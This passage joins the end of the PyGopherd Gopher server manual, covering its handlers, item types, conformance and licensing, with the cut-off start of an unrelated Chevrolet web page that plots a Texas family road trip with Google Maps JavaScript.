which this resource is located. If not specified, defaults to the current server. </P ></TD ></TR ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN243"><SPAN STYLE="white-space: nowrap" ><VAR CLASS="REPLACEABLE" >port</VAR ></SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P >The <SPAN CLASS="PROPERTY" >port</SPAN > specifies the port on which the resource is located. If not specified, defaults to the port the current server is listening on. </P ></TD ></TR ></TBODY ></TABLE ><P > An example of a gophermap to help illustrate the concept is included with the <SPAN CLASS="APPLICATION" >PyGopherd</SPAN > distribution in the file <TT CLASS="FILENAME" >examples/gophermap</TT >. </P ></DIV ><HR><DIV CLASS="REFSECT2" ><A NAME="HANDLERS.COMPRESSEDFILEHANDLER" ></A ><H3 >file.CompressedFileHandler</H3 ><P > In order to save space, you might want to store documents on-disk in a compressed format. But then clients would ordinarily have to decompress the files themselves. It would be nice to have the server automatically decompress the files on the fly, sending that result to the client. That's where <SPAN CLASS="PROPERTY" >file.CompressedFileHandler</SPAN > comes in. </P ><P > This handler will take compressed files, pipe them through your chosen decompression program, and send the result directly to clients -- completely transparently. </P ><P > To use this handler, set the <SPAN CLASS="PROPERTY" >decompressors</SPAN > option in the configuration file. This option defines a mapping from MIME encodings (as defined with the <SPAN CLASS="PROPERTY" >encoding</SPAN > option) to decompression programs. Files that are not encoded, or which have an encoding that does not occur in the <SPAN CLASS="PROPERTY" >decompressors</SPAN > map, will not be decompressed by this handler. </P ><P > Please see the sample configuration file for more examples and details about the configuration of this handler. </P ></DIV ><HR><DIV CLASS="REFSECT2" ><A NAME="HANDLERS.FILEHANDLER" ></A ><H3 >file.FileHandler</H3 ><P > The <SPAN CLASS="PROPERTY" >file.FileHandler</SPAN > is just that -- its duty is to serve up regular files to clients. </P ></DIV ><HR><DIV CLASS="REFSECT2" ><A NAME="HANDLERS.HTMLFILETITLEHANDLER" ></A ><H3 >html.HTMLFileTitleHandler</H3 ><P > This handler is used when generating directories and will set the description of HTML files to the HTML title defined in them rather than let it be the default filename. Other than that, it has no effect. UMN gopherd implements a similar policy. </P ></DIV ><HR><DIV CLASS="REFSECT2" ><A NAME="HANDLERS.MAILBOXES" ></A ><H3 >mbox handlers</H3 ><P > There are four mailbox handlers: </P ><P ></P ><UL ><LI ><P >mbox.MaildirFolderHandler</P ></LI ><LI ><P >mbox.MaildirMessageHandler</P ></LI ><LI ><P >mbox.MBoxMessageHandler</P ></LI ><LI ><P >mbox.MBoxFolderHandler</P ></LI ></UL ><P > These four handlers provide a unique "virtual folder" service. They allow you to present mailboxes as if they were folders, the items of the folders being the messages in the mailbox, organized by subject. This is useful for presenting mail archives or just making e-mail accessible in a nice and easy fashion. </P ><P > To use these handlers, all you have to do is enable them in your <SPAN CLASS="PROPERTY" >handlers</SPAN > section. They will automatically detect requests for mailboxes and handle them appropriately. </P ><P > The different handlers are for traditional Unix mbox mailboxes (all messages in a single file) and new qmail-stype Maildir mailboxes. You can enable only the two handlers for the specific mailbox type that you use, if desired. </P ></DIV ><HR><DIV CLASS="REFSECT2" ><A NAME="HANDLERS.PYGHANDLER" ></A ><H3 >pyg.PYGHandler</H3 ><P > PYG (short for PYGopherd) is a mechanism that provides a tremendous amount of flexibility. Rather than just letting you execute a script like other Gopher or HTTP servers, PYGs are actually loaded up into PyGopherd and become fully-capable first-class virtual handlers. Yet they need not be known ahead of time, and are loaded dynamically. </P ><P > With a PYG handler, you can generate gopher directories, handle searches, generate files, and more on the fly. You can create entire virtual directory trees (for instance, to interface with NNTP servers or with DICT servers), and access them all using the standard Gopher protocol. All of this without having to modify even one line of <SPAN CLASS="APPLICATION" >PyGopherd</SPAN > code. </P ><P > If enabled, the <SPAN CLASS="PROPERTY" >pyg.PYGHandler</SPAN > will look for files with the extension .pyg that are marked executable. If found, they will be loaded and run as PYGs. </P ><P > Please note: this module provides the capability to execute arbitrary code. Please consider the security ramifications of that before enabling it. </P ><P > See the <SPAN CLASS="PROPERTY" >virtual.Virtual</SPAN > handler for more information about passing data to your scripts at runtime. </P ><P > At present, documentation on writing PYGs is not provides, but you may find examples in the <SPAN CLASS="PROPERTY" >pygfarm</SPAN > directory included with the <SPAN CLASS="APPLICATION" >PyGopherd</SPAN > distribution. </P ></DIV ><HR><DIV CLASS="REFSECT2" ><A NAME="HANDLERS.EXECHANDLER" ></A ><H3 >scriptexec.ExecHandler</H3 ><P > This handler implements "old-style" script execution; that is, executing arbitrary programs and piping the result to the client. It is, for the most part, compatible with both scripts written for UMN gopherd and the Bucktooth gopher server. If enabled, it will execute any file that is marked executable in the filesystem. It will normally list scripts as returning plain text, but you may create a custom link to the script that defines it as returning whatever kind of file you desire. Unlike PYGs, this type must be known in advance. </P ><P > The <SPAN CLASS="PROPERTY" >scriptexec.ExecHandler</SPAN > will set environment variables for your scripts to use. They are as follows: </P ><P ></P ><TABLE CLASS="variablelist" BORDER="0" CELLSPACING="0" CELLPADDING="4" ><TBODY ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN304"><SPAN STYLE="white-space: nowrap" >SERVER_NAME</SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P >The name of this server as defined in the configuration file or detected from the operating system.</P ></TD ></TR ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN308"><SPAN STYLE="white-space: nowrap" >SERVER_PORT</SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P >The port this server is listening on.</P ></TD ></TR ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN312"><SPAN STYLE="white-space: nowrap" >REMOTE_ADDR</SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P >The IP address of the client.</P ></TD ></TR ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN316"><SPAN STYLE="white-space: nowrap" >REMOTE_PORT</SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P >The port number of the client.</P ></TD ></TR ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN320"><SPAN STYLE="white-space: nowrap" >REMOTE_HOST</SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P >The same value as <SPAN CLASS="PROPERTY" >REMOTE_ADDR</SPAN ></P ></TD ></TR ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN325"><SPAN STYLE="white-space: nowrap" >SELECTOR</SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P >The file that was requested; that is, the relative path to this script. If the selector included additional parameters after a |, they will be included in this string as well. </P ></TD ></TR ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN329"><SPAN STYLE="white-space: nowrap" >REQUEST</SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P >The "base" part of the selector; that is, the part leading up to the |.</P ></TD ></TR ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN333"><SPAN STYLE="white-space: nowrap" >SEARCHREQUEST</SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P >Included only if the client specified search data, this is used if the client is searching for something. </P ></TD ></TR ></TBODY ></TABLE ><P > See the <SPAN CLASS="PROPERTY" >virtual.Virtual</SPAN > handler for more information about passing data to your scripts at runtime. </P ><P > Please note: this module provides the capability to execute arbitrary code. Please consider the security ramifications of that before enabling it. </P ></DIV ><HR><DIV CLASS="REFSECT2" ><A NAME="HANDLERS.UMN" ></A ><H3 >UMN.UMNDirHandler</H3 ><P > This is one of the most powerful workhorse handlers in <SPAN CLASS="APPLICATION" >PyGopherd</SPAN >. It is designed to emulate most of the ways in which the UMN gopherd distribution generates directories, even going so far as to be bug-compatible in some cases. Generating directories with this handler is often the best general-purpose way to make nice directories in gopherspace. </P ><P > The remainder of the description of the <SPAN CLASS="PROPERTY" >UMN.UMNDirHandler</SPAN >, except for the Abstracts and Info section, is lifted directly from the original UMN gopherd documentation, with light editing, because this handler implements it so exactly that there was no point in rewriting all that documentation :-) </P ><DIV CLASS="REFSECT3" ><A NAME="HANDLERS.UMN.LINKS" ></A ><H4 >Links</H4 ><P > You can override the default view of a directory as generated by <SPAN CLASS="PROPERTY" >dir.DirHandler</SPAN > by creating what are known as <SPAN CLASS="emphasis" ><I CLASS="EMPHASIS" >Links</I ></SPAN > in the data tree. </P ><P > The ability to make links to other hosts is how gopher distributes itself among multiple hosts. There are two different ways to make a link. The first and simplest is to create a link file that contains the data needed by the server. By default all files in the gopher data directory starting with a period are taken to be link files. A link file can contain multiple links. To define a link you need to put five lines in a link file that define the needed characteristics for the document. Here is an example of a link. </P ><PRE CLASS="PROGRAMLISTING" >Name=Cheese Ball Recipes Numb=1 Type=1 Port=150 Path=1/Moo/Cheesy Host=zippy.micro.umn.edu </PRE ><P > The Name= line is what the user will see when cruising through the database. In this case the name is "Cheese Ball Recipes". The "Type=" defines what kind of document this object is. For a list of all defined types, see Gopher Item Types below. For Gopher+ and HTTP, a MIME type is also used, which is determined automatically based on the type you specify. </P ><P > The "Path=" line contains the selector string that the client will use to retrieve the actual document. The Numb= specifies that this entry should be presented first in the directory list (instead of being alphabetized). The "Numb=" line is optional. If it is present it cannot be the last line of the link. The "Port=" and "Host=" lines specify a fully qualified domain name (FQDN) and a port respectively. You may substitute a plus '+' for these two parameters if you wish. The server will insert the current hostname and the current port when it sees a plus in either of these two fields. </P ><P >An easy way to retrieve links is to use the Curses Gopher Client. By pressing '=' You can get information suitable for inclusion in a link file. </P ></DIV ><DIV CLASS="REFSECT3" ><A NAME="HANDLERS.UMN.OVERRIDING" ></A ><H4 >Overriding Defaults</H4 ><P > The server looks for a directory called <TT CLASS="FILENAME" >.cap</TT > when parsing a directory. The server then checks to see if the <TT CLASS="FILENAME" >.cap</TT > directory contains a file with the same name as the file it's parsing. If this file exists then the server will open it for reading. The server parses this file just like a link file. However, instead of making a new object, the parameters inside the <TT CLASS="FILENAME" >.cap/</TT > file are used to override any of the server supplied default values. </P ><P > For instance, say you wanted to change the Title of a text file for gopher, but don't want to change the filename. You also don't want it alphabetized, instead you want it second in the directory listing. You could make a set-aside file in the <TT CLASS="FILENAME" >.cap</TT > directory with the same filename that contained the following lines: </P ><PRE CLASS="PROGRAMLISTING" >Name=New Long Cool Name Numb=2 </PRE ><P > An alternative to <TT CLASS="FILENAME" >.cap</TT > files are extended link files. They work just the same as the files described in Links above, but have a somewhat abbreviated format. As an example, if the name of the file was <TT CLASS="FILENAME" >file-to-change</TT >, then you could create a file called <TT CLASS="FILENAME" >.names</TT > with the following contents: </P ><PRE CLASS="PROGRAMLISTING" >Path=./file-to-change Name=New Long Cool Name Numb=2 </PRE ></DIV ><DIV CLASS="REFSECT3" ><A NAME="HANDLERS.UMN.COOL" ></A ><H4 >Adding Cool Links</H4 ><P > One cool thing you can do with .Links is to add neato services to your gopher server. Adding a link like this: </P ><PRE CLASS="PROGRAMLISTING" >Name=Cool ftp directory Type=h Path=/URL:ftp://hostname/path/ Host=+ Port=+ Name=Cool web site Type=h Path=/URL:http://hostname/ Host=+ Port=+ </PRE ><P > Will allow you to link in any FTP or Web site to your gopher. (See url.URLHandler for more details.) </P ><P > You can easily add a finger site to your gopher server thusly: </P ><PRE CLASS="PROGRAMLISTING" >Name=Finger information Type=0 Path=lindner Host=mudhoney.micro.umn.edu Port=79 </PRE ></DIV ><DIV CLASS="REFSECT3" ><A NAME="HANDLERS.UMN.HIDING" ></A ><H4 >Hiding an Entry</H4 ><P > This kind of trick may be necessary in some cases, and thus for object "fred", the overriding .names file entry would be: </P ><PRE CLASS="PROGRAMLISTING" > Type=X Path=./fred </PRE ><P > by overriding default type to be "X". This kind of hideouts may be usefull, when for some reason there are symlinks (or whatever) in the directory at which <SPAN CLASS="APPLICATION" >PyGopherd</SPAN > looks at, and those entries are not desired to be shown at all. </P ></DIV ><DIV CLASS="REFSECT3" ><A NAME="HANDLERS.UMN.ABSTRACTS" ></A ><H4 >Abstracts and Info</H4 ><P > Many modern gopher server maintainers like to intersperse gopher directory listings with other information -- often, additional information about the contents of files in the directory. The gophermap system provides one way to do that, and abstracts used with UMN gopher directories provides another. </P ><P > Subject to the <SPAN CLASS="PROPERTY" >abstract_headers</SPAN > and <SPAN CLASS="PROPERTY" >abstract_entries</SPAN > configuration file options, this feature allows you to define that extra information. You can do that by simply creating a file named <TT CLASS="FILENAME" >filename.abstract</TT > right alongside the regular file in your directory. The file will be interpreted as the abstract. For a directory, create a file named <TT CLASS="FILENAME" >.abstract</TT > in the directory. Simple as that! </P ></DIV ></DIV ><HR><DIV CLASS="REFSECT2" ><A NAME="HANDLERS.HTMLURLHANDLER" ></A ><H3 >url.HTMLURLHandler</H3 ><P > <SPAN CLASS="APPLICATION" >PyGopherd</SPAN > provides ways for you to link to pages outside Gopherspace -- that is, web pages, FTP sites, and the like. This is accomplished according to the <A HREF="http://lists.complete.org/gopher@complete.org/2002/02/msg00033.html.gz" TARGET="_top" >Links to URL</A > specification (see Conforming To below for details). In order to link to a URL (EXCEPT gopher URLs) from a menu, you create a link of type h (regardless of the actual type of the resource that you are linking to) in your <TT CLASS="FILENAME" >gophermap</TT > or <TT CLASS="FILENAME" >.Links</TT > file that looks like this: </P ><PRE CLASS="PROGRAMLISTING" >/URL:http://www.complete.org/ </PRE ><P > Modern Gopher clients that follow the Links to URL specification will automatically follow that link when you select it. The rest need some help, and that's where this handler comes in. </P ><P > For Gopher clients that do not follow the Links to URL specification, the <SPAN CLASS="PROPERTY" >url.HTMLURLHandler</SPAN > will automatically generate an HTML document for them on the fly. This document includes a refresh code that will send them to the proper page. You should not disable this handler. </P ></DIV ><HR><DIV CLASS="REFSECT2" ><A NAME="HANDLERS.URLTYPEREWRITER" ></A ><H3 >url.URLTypeRewriter</H3 ><P > Some people wish to serve HTML documents from their Gopher server. One problem with that is that links in Gopherspace include an extra type character at the beginning, whereas links in HTTP do not. This handler will remove the extra type character from HTTP requests that come in, allowing a single relative-to-root link to work for both. </P ></DIV ><HR><DIV CLASS="REFSECT2" ><A NAME="HANDLERS.VIRTUAL" ></A ><H3 >virtual.Virtual</H3 ><P > This handler is not intended to ever be used directly, but is used by many other handlers such as the mbox support, PYG handlers, and others. It is used to generate virtual entries in the directory hierarchy -- that is, entries that look normal to a client, but do not actually correspond to a file on disk. </P ><P > One special feature of the <SPAN CLASS="PROPERTY" >virtual.Virtual</SPAN > handler is that you can send information to it at runtime in a manner similar to a CGI script on the web. You do this by adding a question mark after the regular selector, followed by any arbitrary data that you wish to have sent to the virtual request handler. </P ></DIV ><HR><DIV CLASS="REFSECT2" ><A NAME="HANDLERS.ZIP" ></A ><H3 >ZIP.ZIPHandler</H3 ><P > Using zip.ZIPHandler, you can save space on your server by converting part or all of your site into a ZIP file. <SPAN CLASS="APPLICATION" >PyGopherd</SPAN > can use the contents of that ZIP file as the contents of your site -- completely transparently. </P ><P > The ZIP file handler must be enabled in the configuration file for this to work. </P ></DIV ></DIV ><DIV CLASS="REFSECT1" ><A NAME="TYPES" ></A ><H2 >Gopher Item Types</H2 ><P > When you construct links to files via <TT CLASS="FILENAME" >.Links</TT > or <TT CLASS="FILENAME" >gophermap</TT > files, or modify the <SPAN CLASS="PROPERTY" >mapping</SPAN > in the configuration file, you will need to know these. Items bearing the "not implemented" text are not served up by <SPAN CLASS="APPLICATION" >PyGopherd</SPAN > as it ships, generally due to requirements of customized per-site software, but may be served up via PYG extension modules or other gopher servers. </P ><P > This list was prepared based on RFC1436, the UMN gopherd(1) manpage, and best current practices. </P ><P ></P ><TABLE CLASS="variablelist" BORDER="0" CELLSPACING="0" CELLPADDING="4" ><TBODY ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN424"><SPAN STYLE="white-space: nowrap" >0</SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P >Plain text file</P ></TD ></TR ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN428"><SPAN STYLE="white-space: nowrap" >1</SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P >Directory</P ></TD ></TR ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN432"><SPAN STYLE="white-space: nowrap" >2</SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P >CSO phone book server (not implemented by <SPAN CLASS="APPLICATION" >PyGopherd</SPAN >)</P ></TD ></TR ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN437"><SPAN STYLE="white-space: nowrap" >3</SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P >Error condition; text that follows is plain text</P ></TD ></TR ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN441"><SPAN STYLE="white-space: nowrap" >4</SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P >Macintosh file, BinHex format</P ></TD ></TR ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN445"><SPAN STYLE="white-space: nowrap" >5</SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P >DOS binary archive (not implemented by <SPAN CLASS="APPLICATION" >PyGopherd</SPAN >; use type 9 instead)</P ></TD ></TR ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN450"><SPAN STYLE="white-space: nowrap" >6</SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P >uuencoded file; not directly generated by <SPAN CLASS="APPLICATION" >PyGopherd</SPAN > automatically, but can be linked to manually. Most gopher clients will handle this better as type 1. </P ></TD ></TR ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN455"><SPAN STYLE="white-space: nowrap" >7</SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P >Search</P ></TD ></TR ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN459"><SPAN STYLE="white-space: nowrap" >8</SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P >Telnet link</P ></TD ></TR ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN463"><SPAN STYLE="white-space: nowrap" >9</SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P >Binary file</P ></TD ></TR ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN467"><SPAN STYLE="white-space: nowrap" >+</SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P >Redundant server (not implemented by <SPAN CLASS="APPLICATION" >PyGopherd</SPAN >)</P ></TD ></TR ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN472"><SPAN STYLE="white-space: nowrap" >c</SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P >Calendar (not implemented by <SPAN CLASS="APPLICATION" >PyGopherd</SPAN >)</P ></TD ></TR ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN477"><SPAN STYLE="white-space: nowrap" >e</SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P >Event (not implemented by <SPAN CLASS="APPLICATION" >PyGopherd</SPAN >)</P ></TD ></TR ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN482"><SPAN STYLE="white-space: nowrap" >g</SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P >GIF-format graphic</P ></TD ></TR ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN486"><SPAN STYLE="white-space: nowrap" >h</SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P >HTML file</P ></TD ></TR ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN490"><SPAN STYLE="white-space: nowrap" >I</SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P >Any kind of graphic file other than GIF</P ></TD ></TR ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN494"><SPAN STYLE="white-space: nowrap" >i</SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P >Informational text included in a directory that is displayed but does not link to any actual file.</P ></TD ></TR ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN498"><SPAN STYLE="white-space: nowrap" >M</SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P >MIME multipart/mixed file</P ></TD ></TR ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN502"><SPAN STYLE="white-space: nowrap" >s</SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P >Any kind of sound file</P ></TD ></TR ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN506"><SPAN STYLE="white-space: nowrap" >T</SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P >tn3270 link</P ></TD ></TR ><TR ><TD ALIGN="LEFT" VALIGN="TOP" ><A NAME="AEN510"><SPAN STYLE="white-space: nowrap" >X</SPAN >, <SPAN STYLE="white-space: nowrap" >-</SPAN ></TD ><TD ALIGN="LEFT" VALIGN="TOP" ><P > UMN-specific -- signifies that this entry should not be displayed in a directory entry, but may be accessed via a direct link. This value is never transmitted in any Gopher protocol. </P ></TD ></TR ></TBODY ></TABLE ></DIV ><DIV CLASS="REFSECT1" ><A NAME="CONFORMING" ></A ><H2 >Conforming To</H2 ><P ></P ><UL ><LI ><P > The Internet Gopher Protocol as specified in RFC1436 </P ></LI ><LI ><P > The Gopher+ upward-compatible enhancements to the Internet Gopher Protocol from the University of Minnesota as laid out at <A HREF="gopher://gopher.quux.org/0/Archives/mirrors/boombox.micro.umn.edu/pub/gopher/gopher_protocol/Gopher+/Gopher+.txt" TARGET="_top" >gopher://gopher.quux.org/0/Archives/mirrors/boombox.micro.umn.edu/pub/gopher/gopher_protocol/Gopher+/Gopher+.txt</A >. </P ></LI ><LI ><P > The gophermap file format as originally implemented in the Bucktooth gopher server and described at <A HREF="gopher://gopher.floodgap.com/0/buck/dbrowse%3Ffaquse%201" TARGET="_top" >gopher://gopher.floodgap.com/0/buck/dbrowse%3Ffaquse%201</A >. </P ></LI ><LI ><P > The Links to URL specification as laid out by John Goerzen at <A HREF="gopher://gopher.quux.org/0/Archives/Mailing%20Lists/gopher/gopher.2002-02%3f/MBOX-MESSAGE/34" TARGET="_top" >gopher://gopher.quux.org/0/Archives/Mailing%20Lists/gopher/gopher.2002-02%3f/MBOX-MESSAGE/34</A >. </P ></LI ><LI ><P > The UMN format for specifying object attributes and links with .cap, .Links, .abstract, and similar files as specified elsewhere in this document and implemented by UMN gopherd. </P ></LI ><LI ><P > The PYG format for extensible Python gopher objects as created for <SPAN CLASS="APPLICATION" >PyGopherd</SPAN >.</P ></LI ><LI ><P > Hypertext Transfer Protocol HTTP/1.0 as specified in RFC1945 </P ></LI ><LI ><P > Hypertext Markup Language (HTML) 3.2 and 4.0 Transitional as specified in RFC1866 and RFC2854. </P ></LI ><LI ><P > Maildir as specified in <A HREF="http://www.qmail.org/qmail-manual-html/man5/maildir.html" TARGET="_top" >http://www.qmail.org/qmail-manual-html/man5/maildir.html</A > and <A HREF="http://cr.yp.to/proto/maildir.html" TARGET="_top" >http://cr.yp.to/proto/maildir.html</A >. </P ></LI ><LI ><P > The mbox mail storage format as specified in <A HREF="http://www.qmail.org/qmail-manual-html/man5/mbox.html" TARGET="_top" >http://www.qmail.org/qmail-manual-html/man5/mbox.html</A >. </P ></LI ><LI ><P > Registered MIME media types as specified in RFC2048. </P ></LI ><LI ><P > Script execution conforming to both UMN standards as laid out in UMN gopherd(1) and Bucktooth standards as specified at <A HREF="gopher://gopher.floodgap.com:70/0/buck/dbrowse%3ffaquse%202" TARGET="_top" >gopher://gopher.floodgap.com:70/0/buck/dbrowse%3ffaquse%202</A >, so far as each can be implemented consistent with secure design principles. </P ></LI ><LI ><P > Standard Python 2.2.1 or above as implemented on POSIX-compliant systems. </P ></LI ><LI ><P > WAP/WML as defined by the WAP Forum.</P ></LI ></UL ></DIV ><DIV CLASS="REFSECT1" ><A NAME="BUGS" ></A ><H2 >Bugs</H2 ><P > Reports of bugs should be sent via e-mail to the <SPAN CLASS="APPLICATION" >PyGopherd</SPAN > bug-tracking system (BTS) at <CODE CLASS="EMAIL" >&#60;<A HREF="mailto:pygopherd@bugs.complete.org" >pygopherd@bugs.complete.org</A >&#62;</CODE > or submitted online using the Web interface at <A HREF="http://bugs.complete.org/" TARGET="_top" >http://bugs.complete.org/</A >. </P ><P > The Web site also lists all current bugs, where you can check their status or contribute to fixing them. </P ></DIV ><DIV CLASS="REFSECT1" ><A NAME="COPYRIGHT" ></A ><H2 >Copyright</H2 ><P > <SPAN CLASS="APPLICATION" >PyGopherd</SPAN > is Copyright (C) 2002, 2003 John Goerzen. </P ><P > This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License. </P ><P > This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. </P ><P > You should have received a copy of the GNU General Public License along with this program; if not, write to: </P ><PRE CLASS="PROGRAMLISTING" >Free Software Foundation, Inc. 59 Temple Place Suite 330 Boston, MA 02111-1307 USA </PRE ></DIV ><DIV CLASS="REFSECT1" ><A NAME="AUTHOR" ></A ><H2 >Author</H2 ><P > <SPAN CLASS="APPLICATION" >PyGopherd</SPAN >, its libraries, documentation, and all included files (except where noted) was written by John Goerzen <CODE CLASS="EMAIL" >&#60;<A HREF="mailto:jgoerzen@complete.org" >jgoerzen@complete.org</A >&#62;</CODE > and copyright is held as stated in the Copyright section. </P ><P > Portions of this manual (specifically relating to certian UMN gopherd features and characteristics that PyGopherd emulates) are modified versions of the original gopherd(1) manpage accompanying the UMN gopher distribution. That document is distributed under the same terms as this, and bears the following copyright notices: </P ><PRE CLASS="PROGRAMLISTING" >Copyright (C) 1991-2000 University of Minnesota Copyright (C) 2000-2002 John Goerzen and other developers </PRE ><P > <SPAN CLASS="APPLICATION" >PyGopherd</SPAN > may be downloaded, and information found, from its homepage via either Gopher or HTTP: </P ><P > <A HREF="gopher://quux.org/1/devel/gopher/pygopherd" TARGET="_top" >gopher://quux.org/1/devel/gopher/pygopherd</A ></P ><P > <A HREF="http://quux.org/devel/gopher/pygopherd" TARGET="_top" >http://quux.org/devel/gopher/pygopherd</A ></P ><P > <SPAN CLASS="APPLICATION" >PyGopherd</SPAN > may also be downloaded using Subversion. Additionally, the distributed tar.gz may be updated with a simple "svn update" command; it is ready to go. For information on getting <SPAN CLASS="APPLICATION" >PyGopherd</SPAN > with Subversion, please visit <A HREF="http://svn.complete.org/" TARGET="_top" >http://svn.complete.org/</A >. </P ></DIV ><DIV CLASS="REFSECT1" ><A NAME="AEN586" ></A ><H2 >See Also</H2 ><P > python (1). </P ></DIV ></DIV ></BODY ></HTML >
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="initial-scale=1.0, user-scalable=no"> <meta name="description" content="The Texas Family Road Trip by Chevrolet."> <meta name="author" content="Chevrolet"> <title>The Texas Family Road Trip by Chevrolet</title> <style> html, body, #map-canvas { height: 100%; margin: 0px; padding: 0px } #panel { position: absolute; top: 5px; left: 50%; margin-left: -180px; z-index: 5; background-color: #fff; padding: 10px; border: 1px solid #999; } </style> <script src="https://maps.googleapis.com/maps/api/js?v=3.exp&signed_in=true"></script> <script> var routes_list = []; var marker1, marker2, marker3, marker4, marker5, marker6, marker7, marker8, marker9, marker10; var infoWindows = []; var markerOptions = {icon: "http://maps.gstatic.com/mapfiles/markers2/marker.png"}; var routeMarkerOptions = {visible: false, zIndex: 0}; var directionsDisplayOptions = {preserveViewport: true, markerOptions: routeMarkerOptions}; var directionsService = new google.maps.DirectionsService(); var map; function initialize() { var center = new google.maps.LatLng(31, -96.75); var mapOptions = { zoom: 8, center: center }; map = new google.maps.Map(document.getElementById('map-canvas'), mapOptions); for (i=0; i<routes_list.length; i++) { routes_list[i].setMap(map); } marker1.setMap(map); marker2.setMap(map); marker3.setMap(map); marker4.setMap(map); marker5.setMap(map); marker6.setMap(map); marker7.setMap(map); marker8.setMap(map); marker9.setMap(map); marker10.setMap(map); } function calcRoute(start, end, routes) { var directionsDisplay = new google.maps.DirectionsRenderer(directionsDisplayOptions); var waypts = []; for (var i = 0; i < routes.length; i++) { waypts.push({ location:routes[i], stopover:true}); } var request = { origin: start, destination: end, waypoints: waypts, optimizeWaypoints: false, travelMode: google.maps.TravelMode.DRIVING }; directionsService.route(request, function(response, status) { if (status == google.maps.DirectionsStatus.OK) { directionsDisplay.setDirections(response); } }); routes_list.push(directionsDisplay); } function createRoutes(route) { // Google's free map API is limited to 10 waypoints so need to break into batches route.push(route[0]); var subset = 0; while (subset < route.length) { var waypointSubset = route.slice(subset, subset + 10); var startPoint = waypointSubset[0]; var midPoints = waypointSubset.slice(1, waypointSubset.length - 1); var endPoint = waypointSubset[waypointSubset.length - 1]; calcRoute(startPoint, endPoint, midPoints); subset += 9; } } optimal_route = ['8525 Garland Rd, Dallas, TX 75218', '1 Hope Blvd, Galveston, TX 77554', '1601 E NASA Pkwy, Houston, TX 77058', '1500 Binz St, Houston, TX 77004', '588 S Union Ave, New Braunfels, TX 78130', '300 Alamo Plaza, San Antonio, TX 78205', '10500 Sea World Dr, San Antonio, TX\u200e', '1629 Park Rd 59, Glen Rose, TX 76043', '1989 Colonial Pkwy, Fort Worth, TX 76110', '2201 E Road to Six Flags St, Arlington, TX 76010'] createRoutes(optimal_route); google.maps.event.addDomListener(window, 'load', initialize); var infoWindow1 = new google.maps.InfoWindow({ content: "<h3>The Rory Meyers Children's Adventure 